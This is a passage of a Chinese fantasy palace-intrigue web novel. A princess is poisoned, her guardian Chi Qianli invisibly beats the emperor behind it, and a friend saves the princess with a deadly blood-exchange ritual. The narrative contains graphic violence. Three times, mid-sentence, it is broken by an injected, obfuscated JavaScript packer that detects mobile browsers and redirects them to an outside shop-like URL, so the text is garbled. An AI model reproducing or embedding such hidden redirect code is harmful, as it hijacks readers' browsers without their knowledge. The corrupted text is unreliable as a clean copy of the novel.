她对明齐帝再不喜,再不想见,再怎么认为他是个烂人,他毕竟还是金玉泠的父亲,女儿出事了,父亲理应知情并到场。 三个小宫女分头去了,池千鲤抬起头与裴明镜对视一眼,皆从对方眼里看到了无措。 无法,现在池千鲤只能指挥裴明镜把金玉泠扶正,盘腿坐下,冲着她的背部输送灵力疏通经脉平衡五行,毕竟做点什么总比坐以待毙强。 但这实在没什么作用,池千鲤做着做着,额头上逐渐掉落一滴冷汗。 最先到达的是裴皇后。 她来的时候,池千鲤听到了粗重的喘息声,还以为太医来了,连忙睁开眼睛站起来,看到裴皇后的时候甚至有些怔忪。 “元月!” 衣衫不整又发髻散乱的贵妇在看到昏迷不醒的金玉泠的一瞬间就哭了,扑到女儿身旁,轻抚着她的鬓角嚎啕大哭,嘴里连连唤着她的乳名:“元月你不要吓母后呀!” 池千鲤看着这一幕,自觉地退到殿外,焦急地等待着太医。 不过半炷香,小宫女领着太医匆匆忙忙地出现在宫道尽头。池千鲤连忙迎上去接,将金玉泠的症状一五一十地与太医说了。 太医越听神色越凝重,待走到殿内金玉泠床前把了脉,他倒吸一口冷气,言简意赅:“断肠草。” 话音刚落,都不需要再过多解释什么,在场所有人脸色都变了。 断肠草,传说中神农尝百草最后一草,毒性顶级,乃宫中严禁之物,吃下去不过片刻,便会腹痛不止而死。除了催吐有微乎其微的可能性救下以外,根本没有解法。 根本没有什么功夫留给池千鲤震惊,她当机立断地询问:“催吐药物配方是什么?” 太医也不含糊:“甘草一两,瓜蒂三枚,抓五至八份备用。再抓一把绿豆和五包金银花,姑娘拿我令牌去。” 说着,便利索地解下自己令牌扔给池千鲤:“我这儿有随身携带些催吐药,可先给公主服下。不过不多,姑娘快去快回。” 池千鲤点点头,不容置疑地向众人下定论:“所有人都出去,别妨碍太医治病。” 裴皇后知道轻重,即使万般担心,也只是依依不舍地回头看了一眼,随后毅然快步走出去,池千鲤带着裴明镜清空现场,紧随其后。 几乎是赶到殿外的一瞬间,池千鲤嗖地一下消失。裴皇后看着也不惊讶,毕竟大家在宣和殿都见识过池千鲤的战力了。 半息之后,池千鲤把令牌扔到太医院桌上,毫无差错地复述:“甘草一两瓜蒂三枚,抓八份,再抓一把绿豆和五包金银花。” 当值太医一看令牌,立刻背过身去备药了。池千鲤动作快,直接让他把药抓到桌上,她来分类打包。 小半炷香后,池千鲤抱着一捧药包消失在了太医院门口。 当她通行无阻地把药送到太医手上,又自觉地把自己轰出来后,心情并没有因此而轻松多少。 虽然太医属实没想到她一来一回这么快,并且表明多了几分把握,但那可是断肠草啊。 中断肠草毒的,一百个能救回来一个都是奇迹。 当池千鲤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412425|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到门口时,意外地在门口看见了另外四个人。 金玉满、金玉沁、金清宸。 他们不约而同地张了张嘴,似乎是想问问金玉泠的现状,但又同时停住,迟疑地把目光投向了第四个人。 池千鲤顺着他们的目光望去,她对这个人有印象,是刚刚往养心殿跑的那个小宫女。 然而这里并不见明齐帝的身影。 池千鲤的心头浮上一阵不好的预感:“陛下呢?” 小宫女急得眼睛都红了:“千鲤姐姐,陛下身边的申公公一听说我是安乐宫的,立刻就把我轰走了!还搪塞我说陛下早早歇息,闲杂人等不得打扰,但养心殿里面灯火通明的,还有歌舞乐声,一点都不像歇息的样子!” 池千鲤震惊之余,立刻敏锐地抓住关键词:“你说什么?一听你是安乐宫的?” 小宫女回答:“没错!” 这下在场所有人都能听出不对了,虽然说理解得大相径庭。 裴皇后率先红了眼眶,恨得咬牙切齿,连连冷笑:“都说天家无情,竟冷心至此!” 金玉满和金清宸也一迭声地叹气。 裴明镜一脸阴沉。 金玉沁倒是皱了皱眉,像是有话要说,犹豫再三,还是凑到近前,用只有这小宫女和池千鲤能听见的声音细声细气问道:“你的意思是,父皇甚至不知道安乐宫出了什么事,就吩咐不见你吗?” 她跟池千鲤想到同一点上去了。 “是的!”小宫女两行眼泪终于流下来,但是现场太乱,没什么人理这边。 池千鲤给了小宫女几两银子,安抚她几句,让她离开了。 随后池千鲤一转身,和金玉沁对上目光。 不得不说,金玉沁今天表现出来的状态完全出乎池千鲤的意料,于是她向前者问了一句:“你怎么看?” 金玉沁眉头微蹙,思虑片刻,小心翼翼地回答:“我只能想到一个答案。” 池千鲤直视着她的眼睛:“他早就知道安乐宫今晚会出事,对不对?” 她的语气生硬又冰冷,仿佛冬日的冰雪寒凉入骨,让金玉沁听在耳里,微微一惊。 她深吸一口气,尽量掩饰自己的胆战心惊,装成一个小大人和池千鲤对话:“池姑娘说得没错,但又有一个矛盾点。” “矛盾点就是明齐没有理由对金玉泠下手。”池千鲤接过话头,“他想毒谁,却毒错了人,并且断肠草是急性毒药,一定是今天,甚至几个时辰之内下的毒。” “也就是宴席结束之后。” 池千鲤已经没有用“陛下”“皇上”这一类尊称了,她不想再虚与委蛇了,也没有必要,这句话一说出来,相当于她单方面宣布和明齐帝撕破了脸。 金玉沁没有回应这个她本该生气纠正池千鲤的问题,她只是抬起头:“是的,池姑娘知道他到底想毒谁吗?” 【你不吃吗?】 金玉泠讶异地抬头,看向池千鲤:【鱼丸汤很好吃的。】 池千鲤双目紧闭,嗓音艰涩地开口:“知道。” 数息过后,再睁眼时,她眼中已经一片无波无澜,只有微微颤抖的拳头昭示着她不同寻常的心情:“我有些事要去处理一下,很快。” 28. 滔天之怒血染高堂(四) 金玉沁刚要张嘴,面前的池千鲤就不见踪影了。 她疑惑地眨眨眼,刚要回头离开,池千鲤又一个闪身出现在她面前。 池千鲤语气有些晦暗地道:“四公主,如果有人问起我去哪,还请替我圆一下,说我去茅房了也行。” 金玉沁的视线在池千鲤的脸上停留了几秒,好像明白她要去干什么了,沉默数息,抿着嘴点点头:“我知道了,你去吧。” 她猜到了。 池千鲤精准地捕捉到了金玉沁眼里的那一抹洞悉,一瞬间心里警惕骤起,闪过很多复杂情绪。 猜忌、狐疑、试探……这些都在她心中盘旋了一圈。 毕竟她与金玉沁不过几面之缘,而金玉沁是个聪明的小女孩,现在一定清楚了她的去向和目的,这等于把把柄塞在了对方手上,不确定这人什么时候就会阴自己一把。 池千鲤凝视着对面的小女孩。 她可以相信她吗? “放心,”金玉沁看出了池千鲤的迟疑,开口道,“我不拦你,也一定不会背叛你。” 她停顿了一下,加了一个称呼:“千鲤。” “因为我也很恨他,而我在这个世上最喜欢的就是你和金玉泠。” 她没有叫姐姐这种虚伪的称呼了,她们本来就有不同的母亲,而她拒绝接受因为这个父亲带来的任何恶心的亲缘关系。 里面躺着的人,只是金玉沁的朋友金玉泠,外面要去复仇的人,是金玉沁的朋友池千鲤。 她有些害怕又固执地挺了挺胸膛,努力让自己看起来高大可靠一些。 “去吧。”她有很多很多话想对池千鲤说,可是现在时间太短,最后她只是冲她点点头,“千鲤,你或许不能理解,但这个世界上最不会背叛你的,我算一个。” 池千鲤看着她坚定的眼神,不知道该怎么劝劝她了。解释过后,她反而对金玉沁的感情更复杂了。 最后池千鲤只是同样点了点头,嗖地一下消失了。 金玉沁目送着她离去的方向,不知过了多久。直到身后传来金清宸疑惑的声音:“四妹?你站那么远做什么?” 金玉沁抱着手臂僵硬了一下。 “四妹?”金清宸又叫了一声,并且踱步朝这边走来。 金玉沁深吸了一口气,心在胸腔里砰砰砰地跳,环起来的双手都有些微微发抖。 她不擅长说谎,她太年幼了,即使在深宫里看惯了人情冷暖、遭人白眼长大,对所有事情已经足够有观察力和敏锐度,会看人眼色,会分析漏洞,也尚且不足以教会一个六岁的小女孩面不改色地诓骗。 但是为了给池千鲤寻找一个正当离开的理由,她必须得说,而且不能露出一丝破绽。 因为池千鲤这次要杀的是她的父皇。 说来也奇怪,在短暂的恐惧和茫然后,她的灵魂叫嚣着沸腾起来,好像在为仇人即将降临的死亡而狂欢。 这让她吓了一跳,不过很快就冷静下来,就像她曾经千万次被宫人泼水、被后娘打骂时所做的那样。 保持冷静,然后隐忍,最后找到解决办法。 她相信池千鲤可以全身而退,而她必须给她制造一场完美的不在场证明。 就在这时,转角处一片白衣的衣角飘扬了一下,黑暗中隐隐约约出现一个高挑的身影,正对着金玉沁,抱着手臂,转过头来似乎看向金清宸的方向。 金清宸在十几步之外停下脚步。 “原来池姑娘也在这里。”他拱了拱手,“池姑娘在和四妹说话?” 那人调整了一下站姿,没有理他,头又朝他的方向偏了一点。虽然没看到,但金清宸总感觉池千鲤的眼神阴恻恻的,渗人得紧,她总是这么不大高兴地看着他。 金玉沁弱弱地说:“大哥,千鲤姑娘听说二姐是中了毒,让人去叫了御膳房和安乐宫小厨房的厨子,打算待会儿盘问一下呢,正在这里等,你要一起来吗?” 金清宸正下意识地想说好,突然池千鲤的眼睛放出两点蓝光,很不客气地看向他,似乎不大欢迎。 金清宸打了个哆嗦,突然想起池千鲤今天宫宴上一穿四十九的战绩,又回忆起第一次见面池千鲤看他的眼神,连连摆手:“算了算了,玉沁你和池姑娘有了什么结果来告诉我们一声吧,我去安慰安慰三妹。” 金玉沁乖巧应是,很不舍地询问:“大哥你真的不来吗?” “不了不了,”金清宸脚下已经开溜了,“皇后娘娘和三妹的状态不太好呢,我去看看。” 等到金清宸消失在拐角,金玉沁才松了一口气,两手一松,手上缠着的细线软下来,一只套着白布的拖把也应声倒下。 她拍了拍手,剩下的蝴蝶萤粉簌簌掉落在地,熹微的蓝光慢慢消散。 千鲤。 金玉沁担忧地望向池千鲤消失的方向。 你可一定要平安无事啊。 池千鲤在房顶上跳得飞快,她从来没感觉自己跳得这么快过,甚至比刚刚赶去抓药还要快一些,风吹过耳边,带来一阵嗡鸣。 她又生气了。 这是为什么呢? 她不知道。 今天晚上生气的次数,比她在地府打工一千年加起来的都多。 可这是为什么呢?怪物是不应该会生气的。 池千鲤闭上眼睛。 “我是第一个人?” 冬天的天气即使在江南也有些寒冷,池千鲤靠在窗边,听着小姑娘们闲聊,听到她们算上自己,百思不得其解。等人群都散去后,池千鲤意味不明地盯着金玉泠,问出这么一句话。 “搞错了吧,我并没有做什么事啊。”她假装漫不经心地说。 搞错了吧……我是一个怪物啊。 她又想起刚来到这个世界的时候,一群弱小的人拼命把她这个怪物拖回水面,而她第一眼看到的,就是金玉泠的脸。 她垂下眼眸。 人类真是一种很傻的生物,而金玉泠是其中最傻的一个。 “没有搞错啊,你是我最好的朋友呢。”金玉泠回答。 池千鲤的腿不自然地晃荡了一下,像是在踢小石子,但是踢了个空。 “……可是我很讨厌啊,还天天逼着你学习。”她有些别扭地说。 “呀,你自己也知道呀。”金玉泠坏笑着说。 池千鲤愣了一下:“那你还……” “可是我知道,鱼鱼这么做都是为我好呀。”金玉泠抬头,认真地凝视着她回答。 她想了一下,补充道:“我之前跟你说,我自己说了不算,所以你教我很多东西,让我自己有底气说了算一回,对吗?” 池千鲤又踢了一下不存在的小石子。 半晌,她用细如蚊声的声音说:“……才不是这样呢。” 我只是为了时间闭环,整个世界不要就此毁灭掉,谁管你怎么样。 谁管……你怎么样。 幽微的檀香萦绕在室间,在池千鲤和金玉泠两人之间飘荡。 金玉泠停下脚步,望向池千鲤。 “笑一笑嘛,千鲤。”突然金玉泠狡黠地眨眨眼睛,“你笑起来很好看的,像那天晚上在香玉楼一样。” 池千鲤笑了,一滴眼泪划过脸颊落在高楼上的狂风里。她睁开眼睛,目光是前所未有的聚焦和坚毅。 金玉泠可是……她这个怪物最好的朋友。 “你可瞧好了,”池千鲤轻柔地喃喃自语,“这次你怎么样,我管定了。” 养心殿内,明齐帝在歌舞乐声环绕中慢慢平复了心绪。刚才申公鹤已经来报过,安乐宫的人来过一趟了,想必是那个野蛮丫头已经中毒,正在请太医。 呵,不过哪有那么容易?断肠草毒素蔓延得可不是一般的快,医治须得越快越好,且宫里下人生病,都是让值班小太医去看个一二的,能不能查得出来还不一定呢。 明齐帝微微一笑,手中酒杯晃荡,半杯葡萄美酒入了肚。 大约此刻那丫头已经命不久矣了,他的心头大患也已解决。想到这里,他不由得有些沾沾自喜起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412426|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 没等他有再多的情绪变化,房顶突然传来砰地一声响。紧接着,居然是嚓嚓的声音,仿佛砖瓦断裂之声。 明齐帝皱眉看向养心殿顶端,这房梁要坏了? 不应该啊,莫非他听错了? “咚——” 还没等他回过神让人进来查看,房顶突然发出一声巨响,彻底碎裂,木质房梁和红砖青瓦簌簌落下,正巧砸到明齐帝的头顶。 台下的歌舞声停了,舞姬们呆呆地看着这一幕。 明齐帝被砸懵了,好半晌,才回过神来,一声怒叫:“放肆!上面是谁在!拿下!” 他又不傻,这怎么可能是房梁自然断裂。这养心殿的榫卯结构用了百多年都如此稳固,怎么可能偏偏今晚塌了一大片?还正好是他头上那片? 门外的侍卫一听这话,马上回过神来,飞身一跃上房,打算捉拿小贼。乐师舞娘们面面相觑,心知下面发生的事情不是自己能看的了,纷纷告退跪安。 可不一会儿,他们就神色古怪地下来,表情各异地向明齐帝报告道:“陛下……那上面……没有人啊。” 明齐帝一愣:“没有人?” 领头的蓝翎侍卫摇摇头:“不光那上面没有人,周围也没有。微臣们还去问了周边宫殿里的宫女太监们,他们都说没看到有可疑人员经过。” “……什么?”明齐帝疑惑道。 正在众人百思不得其解之时,在侍卫们不可思议的眼光中——明齐帝居然飞了起来! “陛……陛下?”蓝翎侍卫喃喃起来,随即大声惊呼道,“陛下飞升成仙了!” 侍卫们哄地一下闹开了:“恭喜陛下!贺喜陛下!” 明齐帝浑身一抖,惊惧地感受着背后那只抓在后领的冰凉的手,慢慢回头。 没有人。 他的所有心理防线和侥幸心理在这一刻全部崩溃,大喊道:“快来救朕!!” 侍卫们根本没听见,甚至更为夸张地开始跪拜:“恭喜陛下得道飞升!” 明齐帝崩溃大骂道:“你们这群白痴!我被鬼怪抓住了!” 突然,身后那只看不见的手似乎是轻轻一使力,把他一整个人往旁边甩去。 砰地一声,好巧不巧,他的头撞在了墙上。明齐帝感到钻心地疼,下意识地一摸,居然摸到了满手的血。 他又是崩溃又是害怕,在地上没头没脑地乱爬起来,侍卫们在看到血后,也终于发现了不对,慌忙大叫着,现场闹哄哄乱成了一锅粥。 蓝翎侍卫大声嘶吼:“肃静!保护陛下!” 明齐帝突然感觉后脖颈又一片冰凉,吼叫道:“她又来了!她又来了!” 砰!砰!砰! 这次来人没有把他往墙上扔,不过采取了更暴烈的一种方式——她的手缓缓上移,薅住了他的头发,直接没头没脑地往墙上砸。 砸了大约有十几下,明齐帝感觉一片鲜红从额头上落下糊住他的眼睛,同时肚腹、腿上、手腕,所有被砸到的地方,都使不上力似的,似乎是断了,这让他不由得动了动还能动的部位,将自己蜷缩起来。 那人似乎由于他的反应,有了新的灵感。她停顿了半息,直接抓住他的左手手腕随手一捏。 “咔嚓——咔嚓——” 明齐帝发出豪猪般的惨叫,他觉得自己的骨头,竟然被这个不知名的隐形人生生捏碎了。 这还没完,那人像是观察了片刻,随后对着他的左胸和右腹就邦邦两拳,又是两声咔嚓声响,霎时间,他觉得那股钻心的痛已经让他看到走马灯了。 那些侍卫们还在无头苍蝇一般乱窜,因为他们从没打过这样的仗——他们甚至不清楚敌人在哪。 而敌人的动作又太快了。 从明齐帝被抓起来,到现在他遍体鳞伤成了个血人,期间不过过了十息左右。待他们调整好,放弃寻找敌人,意识到只要守在明齐帝旁边时,这位中年皇帝早就奄奄一息了。 池千鲤站在房顶,面无表情地看了一眼下面的人,转身离开了。 29. 以血换血以德报德 池千鲤回来得很快,甚至都不到一炷香,这倒是让金玉沁松了一口气。 池千鲤看着神情紧绷,一看到她走过来就如逢大赦,一屁股瘫在地上拉都拉不起来的金玉沁,不由得觉得有些好笑,心情轻松了一些。 她看了一眼阴影处的白布条子和隐隐约约的蓝光,颇有些意外地挑了挑眉,拍了拍金玉沁:“做得不错。” 金玉沁眼睛一亮,似乎想拉拉池千鲤的手,但又像一只想亲近又怕生的小狗一般畏畏缩缩。 池千鲤笑眯眯地摸摸她的头,再次夸奖道:“真聪明。” 金玉沁闻言不再犹豫,开心地扑到池千鲤怀里,后者很自然地接住了她,像是妈妈或长姐一样单手抱住,带着她往安乐宫门口走去。 孺子可教也,池千鲤边走边欣慰地想。 这四兄妹的脑子还真是不知让她怎么评价才好,感觉有序列双数聪明单数笨的说法。 想到这里,她不禁被自己莫名其妙的想法笑到,摇摇头加快脚步。 好半晌,金玉沁才把头从池千鲤的肩窝里抬出来,像是才想起来似的,急声问道:“你成功了吗?” 池千鲤点点头,又摇摇头。 金玉沁一愣:“这是什么意思?” 池千鲤用空着的一只手比了个嘘的手势,然后才轻声道:“不能打死,但没个一年半载的估计起不来了。” 池千鲤也有些无奈,她不能向这个时间点上的人透露时空闭环之类的事情,无法向金玉沁解释所有的原因,只能隐晦地点一下,看她怎么理解。 金玉沁歪了歪头,好在她也是个聪明的孩子,很快便可以自圆其说。她很冷静地学着大人的样子分析道:“我明白了,如果真的杀了父皇,民心大乱,而大哥又太稚嫩,还不能独当一面,当下一定朝局动荡,这并非我们想看到的。” 她豁然开朗,崇拜地看向池千鲤:“千鲤姐真是高风亮节。” 池千鲤:“……” 其实千鲤姐没想到这一层。 正在言语间,远方的宫道上一片骚乱。两人一抬头,几个值守宫城的侍卫和禁军神色匆匆,朝着同一个方向去了。 那是养心殿的方向。 二人对视一眼,不动声色地加快脚步,不约而同地装作没看到,神色无异地站到裴皇后等人身旁。 让池千鲤意外的是,这里居然又多了一个人。 凌贵妃一边安抚着裴皇后,一边往她儿子那边瞥了一眼,池千鲤一转头,金清宸应该是得了他母妃的授意,正在笨手笨脚地给金玉满擦眼泪。 池千鲤眨了眨眼,不由得回想起自己走的时候。 那个时候,金玉满这个单数系笨孩子可能才刚弄懂情况,在她背后毫无预兆地传来哇的一声嚎啕大哭,差点把池千鲤惊得从天上掉下来。裴皇后一听幺儿哭了哪还能忍,跟着也哭起来。 看到这里一片阴霾的情况,池千鲤因为刚暴打了一顿仇人而微微放晴的心情又黯淡下来。 是啊。 打了明齐帝,只是稍作泄恨而已,根本无法从根源上解决问题。现在金玉泠还是生死未卜,而她池千鲤只是个剑修,对于医术,真的一窍不通,只能等在外面当个束手无策的家属。 池千鲤慢慢攥紧了拳头,指甲深深嵌进肉里。 这种无能为力的感觉…… 实在是太差劲了。 直到听到旁边金玉沁焦急的呼唤,她才回过神来,转头安抚性地拍了拍小姑娘的头,一抬手,却发现掌心早已被自己捏得血肉模糊,此刻传来隐隐的钝痛。 她面不改色地甩了甩手,把手上烂肉甩掉。 突然她的手停住了。 这里只有六个人吗? 池千鲤抬起头来,那眼神里的光看得金玉沁一抖。她快速地一一扫过在场众人的面庞,心脏猛地一跳。 她终于开口了,却听见自己的声音都变了调:“裴明镜呢?” 一听到这四个字,在场众人一瞬间都鸦雀无声。紧接着,从背后又传来熟悉的哇一声大哭,旁边的金清宸连忙顺着金玉满的背。 在场没有人回答。 池千鲤心里咯噔一声,声音提高了一倍:“裴明镜呢?!” 裴皇后也哭起来,这回凌贵妃也没忍住。除了不明所以的池千鲤和金玉沁外,在场只有金清宸还能勉强保持镇定。 他深吸一口气,抬头回答道:“裴明镜在里面。” 他点的是安乐宫的方向。 “什……”池千鲤感觉天旋地转,一阵眩晕,“她进去干什么?!” “她……她说,”金玉满抽抽噎噎的,“她说,江南有一……有一个秘方,可以救……救濒死之人。” 池千鲤扶住墙,努力让自己不倒下去:“什么秘方?” 金玉满很小声地说了两个字。 池千鲤没听清,或者听清了,但不敢置信:“什么?” 金玉满第三次哇一声大哭起来,声如洪钟地喊出两个字:“换血!” 池千鲤一个没扶住墙,一个趔趄差点跌倒在地。 换血。 ……换血。 这并不是江南的秘方。 这是魔教的秘方。 时至今日,池千鲤听见这两个字,还是会一阵心惊。 从简单粗暴的名字就可以看出这种秘术的施行方法。 用一个健康之人的血,换给一个濒死之人,后者起死回生,前者失血而亡。 裴明镜是魔教教徒吗?她从哪里学会的这道秘方?她…… 没有时间给池千鲤心惊,没有时间给池千鲤分析,这些念头只是在她脑中一闪而过,随后变成了硕大的五个字: 裴明镜会死。 池千鲤抓住金玉满的肩膀,急声问:“她进去多长时间了?” 换血术的结阵时间是半炷香。 如果在半炷香之内,她可以立刻闯进去阻止裴明镜完成阵法。 金玉满一边哭一边答:“你走后她就闯进去了!我们一靠近门就会被弹开!将近一炷香了!” ……他爹娘的。 池千鲤感觉自己的呼吸都停滞了一瞬,她毫不犹豫地转身破门而入,然后不留情面地一挥手关上门结了个闭门阵,挡住后面蠢蠢欲动的五人,厉声喊道:“都别进来!” 她只身一人快步往里走,越走到深处,就越是传来魔界法阵的浓烈气息,疯狂的烈风把池千鲤的衣袖和长发都吹得飞扬,却并未带着一丝一毫的杀气,甚至连刮伤她的意思都没有,仅仅只是阻碍她的步伐,让她走得越来越艰难。 魔教法阵会无差别攻击靠近的所有人,除非结阵者用尽全力驱使它,指定它不要伤害某个人。 ……傻丫头。 池千鲤的眼角渐渐湿润了。 一个甘愿赴死的人,还温柔地对不听话的法阵说,不要伤害我的朋友。 池千鲤一步一步靠近前殿,老实说,这并不难。裴明镜对于魔教阵法的掌握也不熟练,那阵很简单。再加上她无意攻击她,阻碍并不算很大。 她终于破阵推开了前殿的门,刹那间,原本被隔音阵阻隔住的所有声音泄露无遗。 “明镜!”那一瞬间,里面传来一声精神十足却悲痛欲绝的声音,“明镜!你怎么了!” 池千鲤站在门口,抬起眼睛,望向里面的一切。 只见金玉泠的神色已经恢复如初,甚至可以称得上是活蹦乱跳,正担忧地扑在裴明镜的身上。而裴明镜打坐在房间的正中央,脸色正在飞速地惨白下去,身形枯槁,脸颊干瘪,周身肆虐着一圈圈不祥的黑风,似乎要把人敲骨吸髓、拆吃入腹。 太医昏死在房间一角,还有点呼吸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412427|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“千鲤!”金玉泠在池千鲤踏入房门的一瞬间就猛地抬头,一下子注意到了来人,连忙急道,“你快看看明镜!她不太对!” 池千鲤先随手施了个保护罩套在太医身上,紧接着快步上前去查看裴明镜的情况。 越看,她的脸色越沉下去。 金玉泠也不是什么看不懂脸色的人,心里当即咯噔一声,颤着声音问了一句:“没救了?” 池千鲤没有回答,站起身来,在风暴的中心停息了片刻,随后举起两指比在太阳穴,指尖闪烁点点星光。 她深吸一口气,眸光轻微聚焦。 是时候……联系那些老朋友了。 “各位,”当三声轻微的接通声响起后,池千鲤的声音霎时变得轻巧,像是终于找到了解决办法一般,“好久不见,” “黄天秀,胡苏瑞,谢必安。” 半息过后。 “我说凌霄,”一个戏谑的女声突然回荡在大殿内部,“真是多年不见,你怎么会在这种全是人味儿的地方?” “谁……谁?”金玉泠吓了一跳。 “狐狸。”一个少年男声不满地响起,“你很嚣张嘛。” 一男一女蓦地出现在两人眼前,把金玉泠吓得哇一声跌坐在地。 “这位小公主好。”和金玉泠一般矮的小少年对她露出一个龇牙笑,“在下司禄星君黄天秀。” 高挑的女子一直捂着口鼻,很嫌弃地在大殿里绕了一圈:“全是人族味儿……对了。” 她勉为其难地看了一眼金玉泠:“妖族狐王胡苏瑞。” 池千鲤感应到后面有一股熟悉的冷香,肩膀微微一松——最后一个也来了。 “老谢。”她说。 金玉泠闻声回头,然后微微一怔。 来人,或者说来鬼,一头长发如瀑,冰肌玉骨,面容清俊,温文尔雅,吐气如兰。他长得很特别,清冷但不疏离,慈和却不柔弱,可以说,是金玉泠见过的最好看的男子。 不过这都不是重点。 重点是,他穿着一袭和池千鲤同一式的白衣。 “白无常谢必安。”谢必安注意到金玉泠的眼神,回之以礼貌一笑。 金玉泠脑子一抽,小声询问池千鲤:“你俩一个监狱里的狱友?” 池千鲤反手比了个中指。 “小池。”谢必安飘到池千鲤正前方,点点她身后,直入正题,“你叫我们来是因为这个魔教徒?” 这话一出,还在掐架的后面两人当即回神,把目光投向后面的裴明镜。 “换血术……?”胡苏瑞一皱眉,“这是魔族高阶法术吧,她只不过一个人族教徒,怎么用得这么强的法术?” 黄天秀凑上前去一看,面色慢慢变得凝重:“强行发动?并且换血者是自己?阵法已经完成,如今正在被反噬很快命不久矣了?” 胡苏瑞一翻白眼:“凌霄你叫错人了,我看叫谢必安一个收尸的就够了。” 说着拉着黄天秀就往门外走。 “停。”池千鲤无奈地打断了这些人的胡言乱语,索性单刀直入道,“我叫你们来,自然是已经想到了救她的办法,你们只需配合就是。” 说到最后一句话时,她的话音威严,仿佛很久很久以前,她还是一语抵千金的凌霄元君。 胡苏瑞听得有些恍惚,不知不觉地就停住了脚步,抬头看向池千鲤。待回过神来,转头一看,却见黄天秀也和她一样被唬住一脸严肃,而谢必安那家伙…… 那家伙一脸乖巧,像池千鲤养的什么猫猫狗狗一样,盘腿坐下表忠心。 ……舔狗,胡苏瑞暗骂一声。 她本来也就是和旧友闹着玩玩,也没想真走,于是清清嗓子,正色问道:“什么办法?” 池千鲤沉默了一下,旋即浑不在意地一笑:“那个古法,苏瑞还记得吗?”